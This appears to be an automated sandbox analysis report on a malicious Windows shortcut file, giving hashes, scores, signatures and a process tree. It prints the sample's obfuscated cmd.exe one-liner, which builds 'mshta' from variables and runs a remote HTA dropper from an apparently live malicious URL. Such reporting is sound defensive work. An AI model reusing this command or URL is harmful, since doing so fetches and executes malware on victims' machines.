Analysis
- max time kernel
150s - max time network
123s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:29
Static task
static1
Behavioral task
behavioral1
Sample
DOC-OD6CRC.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-OD6CRC.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
150 seconds
General
- Target DOC-OD6CRC.lnk
- Size 1KB
- Sample260804-kd2ttabk3x
- SHA256 8418b9d81fc3f374a626e77814e4dc2e093278e009c2416f895a869c3c63b711
- MD5 619914190b069f2ead5aacd9e71fbeb3
- SHA1 5f4c98273ed0017bfb0bd9e994288619c6fb2209
- SHA512 b92b102dee0de93635d201502a5dabc18b1e92dffce933e29c549121b00a21bac1795bfcca852b4d3d0a4ecfc7329c2077e91cadc68dcf75328f581a79af46a5
- TLSH T1F63197502FEE0664F3B38EB794BB572085BAB9958E28DA2D0040460C5032A19E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2672 cmd.exe 5948 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2672 wrote to memory of 5948 2672 cmd.exe 90 PID 5948 wrote to memory of 1092 5948 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OD6CRC.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set QzQPK=msh&&set fXD=ta&&start "" !QzQPK!!fXD! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5948 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:1092
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